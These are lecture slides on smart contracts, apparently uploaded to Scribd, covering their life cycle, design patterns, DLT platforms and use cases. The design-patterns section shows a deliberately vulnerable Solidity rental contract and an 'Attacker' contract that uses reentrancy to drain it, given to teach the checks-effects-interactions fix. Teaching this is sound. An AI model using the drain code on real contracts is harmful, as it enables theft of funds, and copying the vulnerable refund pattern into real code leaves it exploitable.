0% found this document useful (0 votes)
19 views88 pages

Understanding Smart Contracts in Blockchain

Smart contracts are self-executing programs on a blockchain that automatically enforce agreements once specific conditions are met, eliminating the need for intermediaries. They enhance transaction accuracy, speed, and efficiency while ensuring transparency and security through immutable records. Applications of smart contracts span various industries, including finance, real estate, healthcare, and insurance, offering significant cost savings and operational improvements.

Uploaded by

Sai Varshith
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
19 views88 pages

Understanding Smart Contracts in Blockchain

Smart contracts are self-executing programs on a blockchain that automatically enforce agreements once specific conditions are met, eliminating the need for intermediaries. They enhance transaction accuracy, speed, and efficiency while ensuring transparency and security through immutable records. Applications of smart contracts span various industries, including finance, real estate, healthcare, and insurance, offering significant cost savings and operational improvements.

Uploaded by

Sai Varshith
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

FOUNDATIONS OF

BLOCKCHAIN TECHNOLOGY
BCSE324L
Smart Contracts
Smart Contracts
Smart Contract
• A smart contract is a self-executing computer program stored on a blockchain that automatically
carries out the terms of an agreement once predetermined conditions are met.
• Smart contracts were introduced in the 1990s by cryptographer Nick Szabo, who described them as "a
set of promises, specified in digital form, including protocols within which the parties perform on
these promises.‚
• This technology allows transactions to be conducted without the need for intermediaries, ensuring that
all participants can verify the outcome immediately, without delays.
• In simpler terms, smart contracts are digital agreements in which the terms between a buyer and seller
are written directly into code. These contracts operate on blockchain networks, making the transactions
traceable, transparent, and irreversible.
• This automation enhances the accuracy, speed, and efficiency of transactions.
• Smart contracts are finding their way into numerous applications from automating financial
transactions to managing supply chains, as more people recognize their potential.
Smart Contracts
Traditional Contracts vs. Smart Contracts
• Traditional contracts require third-party oversight for enforcement and dispute resolution.
• Example: a tenant must pay rent monthly, and disputes may require legal intervention.
• Smart contracts eliminate intermediaries by automatically enforcing terms when conditions are met.
• Example: vending machine - insert a dollar, and you get a Coke.
• The machine follows built-in rules, triggering the agreed action (dispensing a Coke) once an
obligation (inserting a dollar) is fulfilled.
• This automation ensures agreements are executed precisely and without third-party
involvement.
Smart Contracts
Why Are Smart Contracts Useful?
• Elimination of Middlemen: Reduce costs by removing intermediaries like brokers or lawyers.
• Accuracy, Speed and Efficiency: Automated execution ensures fast, disruption-free transactions.
• Trust and Transparency: The system is secure and transparent, eliminating the need to trust other
parties. Since smart contracts are free from third-party interference, there is no risk of tampering for
personal gain. Encrypted transaction logs are shared among participants, ensuring transparency.
• Immutable and Secure: Blockchain technology ensures data integrity and security, as transactions are
encrypted and unchangeable.
• Security: Blockchain’s encryption makes transaction records highly secure and resistant to hacking.
Modifying a single record would require altering the entire chain, which is nearly impossible.
• Cost Savings: By eliminating intermediaries, smart contracts reduce the time delays and fees
associated with traditional contracts.
Smart Contracts
How Do Smart Contracts Work?
• A smart contract is a binding agreement between two parties, just like any traditional contract.
However, it operates using code that leverages blockchain technology, making the process more
efficient, transparent, and secure.
• Smart contracts are executed through simple "if/when…then…" statements that are written into the
blockchain.

Steps Involved in Smart Contract Operation:


1. Agreement
• The parties involved need to agree on the terms and conditions of the transaction or exchange.
• They must also decide how the smart contract will work, including the specific criteria that need to
be met for the contract to be fulfilled.
2. Contract Creation
• The contract is then created by coding the agreed-upon terms into a programming language.
• Done by the parties themselves or through a smart contract service provider.
• At this stage, it is crucial to thoroughly verify the contract’s security.
Smart Contracts
3. Deployment
• Once finalized, the smart contract is uploaded to the blockchain, similar to how regular crypto
transactions are processed.
• Code is embedded in the blockchain, once verified, the contract becomes active and cannot be altered.
4. Monitoring Conditions
• The smart contract continuously monitors the blockchain or another reliable source for specific
conditions or triggers.
• These triggers can be anything that can be verified digitally, such as a payment being made or a specific
date being reached.
5. Execution
• When the conditions are met, the smart contract automatically executes the agreed-upon actions,
following the "if/when…then…" logic.
• This could involve transferring funds to a seller or updating ownership records for a buyer.
6. Recording
• After execution, the results are immediately recorded on the blockchain.
• The system verifies the actions taken, logs the transaction, and stores the completed contract on the
blockchain, ensuring it is always accessible.
Smart Contracts
Smart Contracts
Types of Smart Contracts: Smart contracts can be categorized into three main types:
1. Smart Legal Contracts
• These are legally binding contracts that follow the structure of traditional legal agreements: "If this
happens, then that will happen.‚
• Since they are stored on the blockchain and cannot be changed, they offer more transparency.
• These contracts can be executed automatically, for example, by making a payment once a specific
condition is met. Failure to comply can result in legal consequences.
2. Decentralized Autonomous Organizations (DAOs)
• DAOs are groups governed by a smart contract that grants voting rights to its members.
• These organizations operate without a central leader, with rules and funding decisions controlled by the
code embedded in the blockchain.
• Example: VitaDAO, where a community uses smart contracts to collaborate on scientific research.
3. Application Logic Contracts (ALCs)
• ALCs involve application-based code that interacts with other blockchain contracts or devices, such as
those in the Internet of Things (IoT).
• Unlike other smart contracts, these are not agreements between people or organizations but between
machines and other contracts.
Smart Contracts
Benefits of Smart Contracts
1. Single Source of Truth
• All parties have access to the same data at all times, reducing the risk of exploitation.
• This enhances trust and security, as contract-related information is consistently available and cannot
be altered.
2. Reduction in Human Effort
• Smart contracts eliminate the need for third-party verification or human oversight, allowing for
faster processes and cost savings.
3. Prevention of Errors
• Smart contracts ensure that every detail is recorded accurately, reducing the risk of errors that could
lead to serious issues later on.
4. Zero-Trust by Default
• Smart contracts operate on a decentralized network, eliminating the need to trust other parties in the
transaction. This aligns with zero-trust security principles, ensuring a fair and transparent process.
5. Built-in Backup
• All essential transactional details are stored on the blockchain, making it easy to retrieve data if
needed.
Smart Contracts
Challenges of Smart Contracts
1. Rigidity and Inconsistent Support
• Once a smart contract is deployed, it is almost impossible to modify, making fixing errors difficult and
costly. Additionally, while smart contracts may comply with some national laws, ensuring global
adherence can be challenging.
2. Difficulty in Capturing Unquantifiable Data
• Smart contracts work well with quantifiable data, but not all industries use measurable metrics, such as
creative work that requires subjective evaluation.
3. Conflict with GDPR
• The General Data Protection Regulation (GDPR) allows individuals to request the deletion of their
digital data. However, if that data is part of a smart contract, it cannot be removed or altered.
4. Skills Shortage
• Developing smart contracts requires specialized knowledge of programming languages like Solidity,
which are not widely known. This expertise is hard to find.
5. Scalability Issues
• The scalability of blockchain networks can be a problem. For example, while Visa (Payment processing
networks) can process about 24,000 transactions per second, Ethereum, the largest blockchain for smart
contracts, can only handle about 30 transactions per second.
Smart Contracts
Top Smart Contract Tools
1. BoringSolidity: A library for developing Solidity smart contracts, created by ConsenSys Diligence, that
aims to improve code quality and reduce vulnerabilities.
2. Chainlink: A leading Oracle solution that brings real-world data into smart contracts, providing
reliable and tamper-proof information across multiple blockchains.
3. Ethcode: A Visual Studio Code extension for Ethereum smart contract development, offering a user-
friendly environment for coding, testing, and debugging.
4. Octopus: A tool for in-depth analysis of smart contract source code, helping developers identify and
fix errors before deployment.
5. OpenZeppelin: An open-source framework that provides a library of secure smart contracts, along
with audit and authentication services.
6. Solidity: The primary language for creating smart contracts on Ethereum, with a syntax similar to
Python, C++, and JavaScript. Solidity applications can also run on other blockchains like Polygon and
Avalanche.
Smart Contracts
Best Practices for Using Smart Contracts
• When using smart contracts, consider the following best practices:
1. Prioritize Simplicity:
• Keep the contract logic simple to reduce the chance of errors.
• Using pre-written code can help ensure smooth execution.
2. Update Contracts Regularly
• Regular updates help identify and fix vulnerabilities, improving security and user experience.
3. Lock Compiler Versions
• Explicitly specify compiler versions in the contract code to ensure consistency across different
environments.
4. Conduct Rigorous Testing
• Test the contract on a test network before deploying it on the mainnet to catch any issues early.
5. Work with Experts on Independent Audits
• Since smart contracts are on a decentralized network, their code must be secure.
• Independent audits can help identify potential vulnerabilities.
Smart Contracts
Real-World Smart Contract Examples
• Smart contracts are revolutionizing industries like Finance, Real Estate, Healthcare, Insurance, and
Elections. They automate tasks, calculate payments, and execute terms instantly upon meeting
conditions, saving time and enabling multi-party consensus validation.
1. Trade Finance
• Smart contracts enhance trade finance by automating processes and reducing the need for
intermediaries. They ensure transparency, security, and efficiency in transactions.
• Automated Payments: Trigger payments upon meeting specific conditions, reducing delays.
• Document Verification: Automatically verify and authenticate trade documents.
• Shipment Tracking: Track goods through every stage of the supply chain.
• Dispute Resolution: Resolve disputes efficiently through predefined rules.
• These capabilities mitigate risks, lower costs, and improve the speed of trade finance operations.
Smart Contracts
2. Real Estate
• Smart contracts can record property ownership and optimize transaction speed by reducing the need
for lawyers or brokers.
• Property Transactions: Execute sales automatically when conditions like payment confirmation
are met, reducing intermediaries.
• Lease Agreements: Automate rental agreements and payments, ensuring timely transactions and
reducing disputes.
• Escrow Services: Securely hold funds until all terms are fulfilled, releasing them automatically
upon completion.
• Title Management: Record and transfer titles securely on the blockchain, enhancing transparency
and reducing fraud.
• Smart contracts provide a transparent and cost-effective alternative to traditional property
management and streamline processes in the mortgage industry.
Smart Contracts
3. Healthcare
• Smart contracts can securely store patient data on a blockchain, accessible only with the patient’s
private key. This ensures that medical providers have the information they need while keeping it
secure.
• Clinical Trials: Automate trial protocols, ensuring data integrity, streamlining patient consent,
and automating payments to participants.
• Billing and Insurance Claims: Automate the submission and processing of claims, reducing
administrative costs and improving efficiency.
• Smart contracts protect patient data, enhance the trial process, and streamline billing in healthcare.
4. Elections
• Blockchain voting systems could be the future of elections, making voting safer and more accessible.
• Voter Identity Validation: Prevent multiple votes with smart contracts that validate voters’
identities.
• Voter Registration and Vote Counting: Streamline voter registration, verify identities, and count
votes in real-time, leading to faster and more reliable results.
• Blockchain technology could reduce election costs by up to 90%, making the process more economical
and accessible.
Smart Contracts
5. Insurance
• Smart contracts strengthen claim processing by automating error checks and policy management,
reducing fraud, and shortening processing times.
• Policy Management: Automate the issuance and renewal of policies, ensuring compliance and
reducing administrative tasks.
• Fraud Detection: Smart contracts detect and prevent fraud more efficiently.
• Implementing blockchain technology in insurance could save the industry up to $10 billion annually by
improving efficiency and reducing fraud.
6. Legal Contracts
• Smart contracts are revolutionizing traditional contracts by automatically executing transactions when
specific conditions are met, eliminating intermediaries and reducing legal fees.
7. Fan Engagement and Rewards
• In the Web3 economy, smart contracts create new monetization opportunities for creators.
• For example, artists can issue NFTs, ensuring they receive royalties for their work through automated
payments.
Smart Contracts
8. Music Rights and Revenue
• Smart contracts can revolutionize the music industry by automating and streamlining royalty payments
and rights management.
• This ensures artists get paid instantly and fairly, fostering a more direct relationship between artists and
their audience.
9. Retail and Small Business Operations
• Smart contracts enhance administrative efficiency by automating payment processes, digitizing payroll
administration, and improving supply chain visibility.
• Platforms like XMoney enable seamless cryptocurrency payments for retailers, reducing transaction fees
and attracting tech-savvy customers.
10. Digital Identities
• Smart contracts securely manage digital identities, enhancing security, privacy, and efficiency across
multiple platforms.
• The blockchain identity management market is expected to grow significantly, highlighting the
increasing adoption of this technology.
Anatomy of a Smart Contracts
What is a Smart Contract?
• It is a self-executing agreement with the terms and conditions directly written into code.
• Smart contracts operate on a blockchain, which makes them transparent, easy to trace, and
irreversible.
• This means once a smart contract is deployed, it can’t be changed, ensuring the terms are
automatically executed as soon as all conditions are met.
Key Components of a Smart Contract
• Smart contracts are made up of several essential elements:
• Participants: These are the entities interacting with the contract. Participants could be
individuals, computer systems, or even other smart contracts.
• State: This represents the current status or condition of the contract. As participants take actions,
the contract’s state changes to reflect new information.
• Functions: Functions define the operations the contract can perform. Participants trigger these
functions, and they can alter the state of the contract.
• Rules: These are the conditions that govern how the contract operates. Rules are embedded in
the contract’s code and must be satisfied for specific functions to execute.
Anatomy of a Smart Contracts
Structure of a Smart Contract
• Although smart contracts can be designed for various purposes, most of them follow a similar basic
structure:
• Preamble: This part contains introductory details like the contract’s name, version, and sometimes a
description of its purpose.
• State Variables: These variables store the contract's current information. For example, in a contract
for a sale, state variables might include details like the buyer, seller, price, and the current status of
the item.
• Functions: This section includes the actions the contract can perform. Examples of functions in a
sales contract might be actions like initiating a sale, confirming payment, or delivering the item to
the buyer.
• Modifiers: These are conditions that must be met before certain functions can be executed. For
example, a sale function might only execute if the item status is set as ‘for sale.’
• Events: Events are actions that log updates to the contract's state. They are recorded on the
blockchain, creating a transparent and traceable record of all actions taken under the contract.
Anatomy of a Smart Contracts
Example:
• Participants: The buyer and seller are the key participants.
• State Variables: Variables such as buyer, seller, price, and item status (e.g., ‘for sale’ or ‘sold’)
represent the current state of the contract.
• Functions: Key functions might include ‘initiateSale’ (to start the sale), ‘confirmPayment’ (to confirm
the buyer’s payment), and ‘deliverItem’ (to finalize the delivery).
• Rules: The contract might have rules such as `confirmPayment` only being executable if the item is
still marked as ‘for sale,’ or `deliverItem` being executable only after the item has been marked as
‘sold.’
• Events: Actions like `SaleInitiated`, `PaymentConfirmed`, and `ItemDelivered` are logged as events.
These events update the state of the contract (such as changing the item status from ‘for sale’ to ‘sold’).
Anatomy of a Smart Contracts
Six-point anatomy to formalize a smart contract design
Life Cycle of a Smart Contract
• Smart contracts are programs stored on a blockchain that execute automatically when predetermined
conditions are met, making the process faster, more secure, and efficient.
• Their primary purpose is to enforce an agreement without the need for intermediaries.
• Smart contracts are commonly written in high-level programming languages like Solidity and Vyper
and have broad applications across industries such as finance, gaming, healthcare, and real estate.
• Example: You’re buying a house, but you want to avoid the hassle of lawyers, stacks of paperwork, and
waiting weeks for things to be finalized.
Smart Contract Life Cycle
• The life cycle of a Smart Contract on the blockchain involves four key stages, each transforming the
contract from an idea to a fully executed agreement.
• Create
• Freeze
• Execute
• Finalize
Life Cycle of a Smart Contract
1. Create: Laying the Foundation
• This phase involves drafting and negotiating the terms of the smart contract, similar to traditional
contract negotiation.
• Both parties must agree on the contract’s content & goals, which can be done either online or offline.
• Once the terms are finalized, they are converted into code that will be stored & executed on a
blockchain.
• Key tasks in the creation phase include
• Negotiation: Multiple parties agree on the terms.
• Design & implementation: The agreed-upon terms are turned into a smart contract.
• Validation: The contract is verified for accuracy and correctness before being deployed.
• All participants must have digital wallets on the blockchain where the contract will be hosted.
• Example: Musician and a Music streaming platform come together to negotiate a royalty agreement.
• They decide that the musician will receive a percentage of the revenue generated by the streams
of their songs.
• Once they agree on the terms, those details are converted into a coded Smart Contract.
• This phase ensures that both sides understand the agreement and are ready to proceed.
Life Cycle of a Smart Contract
2. Freeze: Securing the Agreement
• Smart Contract is now deployed on the blockchain, and it becomes publicly visible on a digital ledger.
• Miners or nodes across the blockchain network validate the contract and its transactions.
• A small fee, often referred to as a "gas fee," is paid to miners to ensure the system isn't overwhelmed
with unnecessary smart contracts.
• During this phase, the digital assets of the participants are "frozen"—locked in their respective digital
wallets—until the smart contract’s conditions are fulfilled.
• The blockchain nodes act as a governing body, verifying whether the preconditions for contract
execution have been met.
• Key tasks in the freeze phase include
• Storage: The smart contract is stored on the blockchain and made visible to all.
• Asset freezing: Digital assets from both parties are locked in their wallets to ensure they are only
transferred once the contract conditions are met.
• Example:
• During this phase, the digital assets (money from the platform and the royalty rights for the
musician) are ‚frozen.‛
Life Cycle of a Smart Contract
3. Execute: The Agreement Comes to Life
• Once the preconditions for the smart contract are met, the execution phase begins.
• Blockchain nodes, or "miners," evaluate the contract and verify its integrity.
• The smart contract’s execution engine reads the contract code, and if the conditions are satisfied, the
contract is automatically executed.
• For example, if the contract involves a financial transaction, once payment is confirmed, the contract
will automatically trigger the release of the agreed-upon assets or goods.
• The consensus mechanism—a process where the majority of nodes agree—ensures that the
transaction is valid and in accordance with the contract’s terms.
• Key tasks in the execution phase include
• Condition evaluation: The blockchain checks whether the contract’s conditions are met.
• Automatic execution: Once conditions are met, the smart contract is executed automatically.
• Example:
• Once the streaming platform generating revenue from the musician’s songs—the contract
enters the Execute phase. The Smart Contract’s engine automatically calculates the musician’s
share of the revenue and sends the payment directly to their digital wallet.
• No human intervention is needed—the process is automatic and transparent.
Life Cycle of a Smart Contract
4. Finalize: Wrapping Things Up
• After the contract is executed, the new states of the involved parties are updated.
• For example, if assets were transferred, the blockchain updates the records to reflect this.
• The assets that were frozen during the "freeze" phase are now unfrozen and allocated to the receiving
party. The transaction is recorded on the blockchain, ensuring transparency and immutability.
• Key tasks in the finalize phase include
• State update: The contract’s result is added to the blockchain, and the participants' new states are
recorded.
• Asset unfreezing: The digital assets are released to the receiving party, completing the
transaction.
• Example:
• The musician’s wallet is updated with the payment, and the new transaction is recorded on the
blockchain for transparency. The frozen assets are now unfrozen, and both parties can access
their funds.
• The Smart Contract is closed, and the assets are unfrozen.
• The contract’s final state is stored permanently on the blockchain.
Life Cycle of a Smart Contract
Bonus: Ending the Contract
• Both the musician and the streaming platform have the option to end the royalty service by calling
functions like cancelSubscription or endSubscription.
• This stops any future royalty payments.
• When the contract is canceled, it enters the Finalize stage, updating the contract’s state to reflect the
end of the agreement.
• What happens here?
• The contract can be ended either by the musician or the streaming platform.
• The royalty payments stop, and the Smart Contract is closed.

• And the life of a Smart Contract, transforming from a simple idea to a fully functioning agreement that
flies through the blockchain, automating processes and making life easier for everyone.
• Whether it’s paying royalties to musicians or buying a house, Smart Contracts make complex
transactions simple and efficient.
Usage Patterns of Smart Contract
• Smart contract design patterns are essential to building secure and efficient blockchain applications.
• Smart contracts have various usage patterns based on their functionality, purpose, and execution
style.
• By following established design patterns, developers can ensure their smart contracts are reliable,
scalable, and easier to maintain.
• Using design patterns in your smart contract development offers several benefits:
• Efficiency: Design patterns promote efficient code by providing tested solutions to common
problems.
• Security: Patterns help avoid common vulnerabilities by following best practices.
• Maintainability: Reusable patterns make your codebase more maintainable and easier to
understand.
• Scalability: Patterns facilitate modular development, making it easier to scale our app
With Pattern
pragma solidity ^0.8.0;

contract RentalSafe {
address public owner;
mapping(address => uint256) public deposits;

constructor() {
owner = [Link];
}

function payDeposit() external payable {


deposits[[Link]] += [Link];
}

function refundDeposit() external {


uint256 amount = deposits[[Link]];
require(amount > 0, "No deposit");
// Effects first
deposits[[Link]] = 0;
// Interaction after
(bool ok, ) = payable([Link]).call{value: amount}("");
require(ok, "Transfer failed");
}
}
Types
Behavioral Patterns
Focus: How a smart contract behaves or executes over time.
Pattern What it means Purpose Example in Blockchain
Contract has predefined Escrow contract → Funds
Controls allowed actions at
states (e.g., Created, can only be released in the
State Machine Pattern each stage, preventing
Active, Closed) and Active state, not after
invalid operations.
transitions between them. Closed.
Fetches external, off-chain
Allows smart contracts to Chainlink price feeds for
Oracle Pattern data securely into the
react to real-world events. DeFi apps.
blockchain.
Users first commit a On-chain lottery → Players
Prevents cheating in
Commit–Reveal Pattern hashed value, then reveal commit to numbers, reveal
games, auctions, or voting.
it later. after all commits are done.

Instead of sending funds Avoids reentrancy attacks Crowdfunding refunds in


Pull Payment Pattern automatically, recipients and ensures recipients contracts like Kickstarter
withdraw (pull) them. actively claim funds. clones.
State Machine Pattern
Oracle Pattern
Commit-Reveal
Pull Payment
pragma solidity ^0.8.0;

contract RentalVulnerable {
mapping(address => uint256) public
deposits; function refundDeposit() external {
address public owner; uint256 depositAmount = deposits[[Link]];
require(depositAmount > 0, "No deposit to
constructor() { refund");
owner = [Link]; // Owner of the
contract // VULNERABILITY: Sending ETH before
} updating state
(bool sent, ) = [Link]{value:
function deposit() external payable { depositAmount}("");
require([Link] > 0, "No deposit require(sent, "Failed to send deposit");
sent");
deposits[[Link]] = 0; // State update happens
deposits[[Link]] += [Link];
after sending funds
} }
Attacker code
pragma solidity ^0.8.0;

interface IRentalVulnerable {
function deposit() external payable;
function refundDeposit() external;
}

contract Attacker {
IRentalVulnerable public victim;
address public owner;

constructor(address _victim) {
victim = IRentalVulnerable(_victim);
owner = [Link];
}

// Start the attack


function attack() external payable {
require([Link] >= 1 ether, "Need at least 1 ETH to attack");
[Link]{value: 1 ether}();
[Link]();
// Fallback is triggered when victim sends ETH
receive() external payable {
if (address(victim).balance >= 1 ether) {
[Link](); // Calls victim again before state is updated
}
}

function withdraw() external {


require([Link] == owner, "Not owner");
payable(owner).transfer(address(this).balance);
}
}
Security Patterns

Focus: How to avoid vulnerabilities and protect funds/data.

Pattern What it means Purpose Example in Blockchain


Perform validations →
Checks-Effects- update state → Prevents reentrancy DAO Hack prevention
Interactions interact with other attacks. in Ethereum contracts.
contracts.
Restricts certain
Access Restriction Prevents unauthorized [Link] in
functions to specific
(Ownable) actions. OpenZeppelin libraries.
accounts.
Restricts how often an
Reduces spam or DoS Token faucets limiting
Rate Limiting action can be
attacks. withdrawals to 1/day.
performed.
Many DeFi protocols
Lets owner pause
Provides a kill switch have pause() functions
Pausable Pattern contract in
during bugs or attacks. to stop all trading if a
emergencies.
bug is found.
Access Restriction (Ownable)
Rate Limiting
Pausable Pattern
Structural Patterns

Focus: How code and data are organized for flexibility and efficiency.

Pattern What it means Purpose Example in Blockchain


Separates contract logic OpenZeppelin
Allows fixing bugs or
Proxy/Upgradeable from storage so logic can Transparent Proxy in
adding features post-
Pattern be updated without upgradeable DeFi
deployment.
losing data. contracts.
Central contract stores ENS (Ethereum Name
Provides a single source
Registry Pattern addresses of other Service) uses registry for
of truth for discovery.
contracts or users. domain ownership.
One contract deploys Uniswap factory creates
Saves gas and simplifies
Factory Pattern many instances of new liquidity pool
deployment.
another contract. contracts.
Shared reusable code OpenZeppelin SafeMath
Saves space and gas,
Library Pattern stored in libraries, called library for arithmetic
keeps code DRY.
by multiple contracts. safety.
Upgradeable Proxy Pattern
Registry Pattern
Factory Pattern
Library Pattern
Economic/Token Patterns

Focus: How value and incentives are managed.

Pattern What it means Purpose Example in Blockchain


Tokens are released Prevents dumping by ICO token release
Token Vesting
over time. team/investors. schedules.

Token price changes


automatically based on Creates predictable Bancor protocol token
Bonding Curve
supply/demand pricing models. pricing.
formula.

RealT rental income


Distributes revenue to Encourages holding
Dividend Pattern distribution to token
token holders. tokens.
owners.
Token Vesting
Bonding Curve
Dividend Pattern
Life Cycle
DLT-based Smart contract
• Distributed Ledger Technology (DLT) refers to a decentralized database that stores transaction
records across multiple nodes (computers), ensuring security, transparency, and immutability.
• Smart Contracts are programs stored on a blockchain that automatically execute actions when
predefined conditions are met.
• A DLT (Distributed Ledger Technology)-based Smart Contract is a self-executing contract where the
terms are written in code and stored on a Distributed Ledger Technology (DLT) system, such as a
blockchain.
• It automatically executes transactions when predefined conditions are met, removing the need for
intermediaries like banks or lawyers.
DLT vs Blockchain
Feature DLT (Distributed Ledger Technology)Blockchain

Umbrella term for any digital system


A type of DLT that organizes data
that records and shares data across
into sequential “blocks” linked
multiple nodes in a decentralized
together cryptographically (chain of
way, without relying on a single
blocks).
central authority.
Can be graph-based, block-based,
Always a linear sequence of blocks
Data Structure DAG (Directed Acyclic Graph),
linked with cryptographic hashes.
hashgraph, etc.
Any distributed agreement
Often PoW, PoS, or similar
Consensus mechanism (PoW, PoS, PBFT, RAFT,
blockchain-specific protocols.
etc.).
Strong immutability due to
Immutability Yes, but depends on the DLT design.
cryptographic linking of blocks.
IOTA Tangle (DAG), Hedera
Example Hashgraph, Corda, Hyperledger Bitcoin, Ethereum, Polygon.
Fabric.
Characteristics

DLT Characteristics Blockchain Characteristics


• Decentralization (no single authority owns • Sequential block structure (data grouped in
the ledger) ordered blocks)
• Replication (all nodes store the same • Cryptographic hashing linking blocks
ledger copy)
• Consensus + incentives (PoW, PoS, etc.)
• Consensus (all nodes agree on changes)
• Immutability (altering a block breaks the
• Transparency or permissioned privacy chain)
(depends on design)
• Public or permissioned models
• Auditability (transaction history is verifiable)
• Native token support (optional, but
• Flexible data structure (DAG, chain, tree, common in public blockchains)
etc.)
Operations (How They Work)

DLT Operations Blockchain Operations


• Transaction Proposal → Node creates a • Transaction Creation (signed with private
transaction. key).
• Broadcast → Transaction sent to multiple • Broadcast to P2P network (via gossip
nodes. protocol).
• Consensus → Nodes agree on • Mempool storage (pending transactions).
transaction order and validity.
• Mining/Validation → Create a block.
• Ledger Update → All nodes update their
• Consensus → Network agrees on the
local copy.
block.
• Replication → Every node stores the new
• Block Addition → Append to chain.
state.
• Replication → Updated copy sent to all
nodes.
Types of DLT

• Blockchain — Bitcoin, Ethereum, Hyperledger.


• DAG-based DLT — IOTA Tangle, Nano.
• Hashgraph — Hedera Hashgraph.
• Tempo — Radix.
• Hybrid DLTs — Mix of blockchain and DAG principles.
Applications

DLT Applications Blockchain Applications


• Interbank settlements (Ripple, Corda) • Cryptocurrencies (Bitcoin, Ethereum)

• Supply chain tracking (IBM Food Trust)• DeFi (Uniswap, Aave)


• NFTs (OpenSea, Blur)
• Trade finance (Marco Polo Network)
• Smart contracts (Ethereum, Polygon)
• Healthcare data sharing • Voting systems
• Energy trading (P2P solar) • Tokenized assets
Blockchain Smart Contract Code
pragma solidity ^0.8.0;

contract RentalVulnerable {
mapping(address => uint) public deposits;

function deposit() public payable {


deposits[[Link]] += [Link];
}

function refundDeposit() public {


uint amount = deposits[[Link]];
require(amount > 0, "No deposit to refund");

(bool sent, ) = [Link]{value: amount}("");


require(sent, "Failed to send Ether");

deposits[[Link]] = 0;
}
}
DLT Smart Contract Code - State
package [Link];

import [Link]; public Party getOwner() { return owner; }


import [Link]; public Party getTenant() { return tenant; }
import [Link]; public Amount<Currency> getDeposit() { return deposit; }
import [Link];
import [Link]; @Override
public List<AbstractParty> getParticipants() {
import [Link]; return [Link](owner, tenant);
import [Link]; }
import [Link]; }
import [Link];
Blockchain (e.g.,
Feature Corda (DLT)
@BelongsToContract([Link]) Ethereum)
public class RentalState implements ContractState { Immutable; replaced Mutable variables
State Storage
private final Party owner; // property owner / landlord on each update updated in place
private final Party tenant; // tenant Explicitly declared,
private final Amount<Currency> deposit; // agreed deposit Every node stores all
amount
Participants state stored only by
contract data
them
public RentalState(Party owner, Party tenant, Verified by contract Verified by all nodes;
Amount<Currency> deposit) {
Execution
rules; no gas fees costs gas
[Link] = owner; Private to
[Link] = tenant; Privacy Public to all
[Link] = deposit;
participants
Contract (rules)

package [Link];
import [Link];
import [Link].*;
import [Link];

import [Link];

import static [Link];

public class RentalContract implements Contract {


public static final String ID = "[Link]";

public interface Commands extends CommandData {


class Deposit implements Commands {}
class Refund implements Commands {}
}
Contract (rules)

@Override
public void verify(LedgerTransaction tx) {
final CommandWithParties<Commands> cmd = requireSingleCommand([Link](),
[Link]);
if ([Link]() instanceof [Link]) {
// Create new rental with a positive deposit
requireThat(req -> {
[Link]("No inputs should be consumed in a deposit.", [Link]().isEmpty());
[Link]("One output state should be created.", [Link]().size() == 1);
RentalState out = [Link]([Link]).get(0);
[Link]("Deposit must be > 0.", [Link]().getQuantity() > 0);
// Both parties must sign
List<PublicKey> signers = [Link]();
[Link]("Owner must sign.", [Link]([Link]().getOwningKey()));
[Link]("Tenant must sign.", [Link]([Link]().getOwningKey()));
return null;
});
}
Contract (rules)

else if ([Link]() instanceof [Link]) {


// Model refund as consuming the rental deposit state (settled)
requireThat(req -> {
[Link]("One input should be consumed.", [Link]().size() == 1);
[Link]("No outputs on refund (state settled).", [Link]().isEmpty());
RentalState in = [Link]([Link]).get(0);
List<PublicKey> signers = [Link]();
[Link]("Owner must sign.", [Link]([Link]().getOwningKey()));
[Link]("Tenant must sign.", [Link]([Link]().getOwningKey()));
return null;
});
} else {
throw new IllegalArgumentException("Unsupported command");
}
}
}
Aspect Blockchain Code DLT Code

On-chain in contract storage As ledger states


Data Storage
(mapping) (ContractState objects)
Runs on specific participant
Execution Runs on all nodes EVM
nodes in flows
Vulnerable patterns affect all Vulnerabilities only impact
Security
users globally involved parties

Only involved nodes validate;


Miners/validators execute
Consensus consensus via notary or
code
gossip

Language Solidity Kotlin/Java


DLT-based Smart contract
Applications of DLT-Based Smart Contracts
• Finance: DeFi, insurance, lending, and payments
• Supply Chain: Automating logistics and tracking
• Healthcare: Secure data sharing and consent management
• Real Estate: Automated property transactions
• Governance: Decentralized voting and identity verification

DLT Platforms Supporting Smart Contracts


• Blockchain-Based
• Ethereum (ETH): Uses Solidity for writing smart contracts.
• Hyperledger Fabric: Enterprise-focused with permissioned networks.
• Binance Smart Chain (BSC): Ethereum-compatible smart contract execution.
• Solana, Cardano, Polkadot: High-speed, scalable alternatives.
• Non-Blockchain DLT
• Hedera Hashgraph: Uses Hashgraph consensus for faster transactions.
• Corda (R3): Focuses on financial and enterprise applications.
• IOTA (Tangle): Uses DAG (Directed Acyclic Graph) instead of blocks.
DLT-based Smart contract
How DLT-Based Smart Contracts Work
• Defining the Rules
• The contract is coded with conditions and actions.
• Deployment on a Blockchain/DLT
• The contract is stored on the network, where all participants can verify it.
• Automatic Execution
• When conditions are met, the contract executes the agreed-upon actions.
• Immutable & Transparent
• The transaction history is stored permanently and cannot be altered.

Key Benefits of Using DLT-Based Smart Contracts


• No middlemen: No need for administrative processing.
• No Human Errors: Eliminates mistakes in manually verifying grades.
• Faster execution: No waiting time, Scholarship funds are transferred instantly.
• Tamper-proof: No one can alter grades or manipulate results.
• Transparency: All scholarship recipients can verify transactions on the blockchain.
• Cost-Efficient: Reduces administrative costs by removing intermediaries.
Use Cases: Healthcare Industry
• India's healthcare industry is growing at a steady rate and it has reached around $372 Billion in 2022.
• Health care coordination becomes more complex as chronic conditions in the aging population
continue to rise.
• In many instances, the technology available to healthcare providers is not adequate to capture all the
aspects of the care being provided.
• The result is a rugged transfer of information between parties that ultimately reduces the quality of
care being provided to the patients.
• This is largely due to providers having legacy system, lack of integration with non-vendor-specific
technologies, paper based medical records.
• Blockchain technology has the potential to transform health care, placing the patient at the center of
the health care ecosystem and increasing the security, privacy, and interoperability of health data.
• This technology could provide a new model for health information exchanges (HIE) by making
electronic medical records more efficient, disintermediated, and secure.
Healthcare Stakeholders Interaction
Purpose: Shows healthcare ecosystem and flow of
responsibilities and money.

• Entities: Policymaker, Patient, Provider, Professional, Payer.

• Key Relations:

• Policymaker regulates coverage and service providers.

• Patient interacts with providers, pays for insurance, and influences policy.

• Provider gives care and invoices payers.

• Payer funds care and reimburses providers.


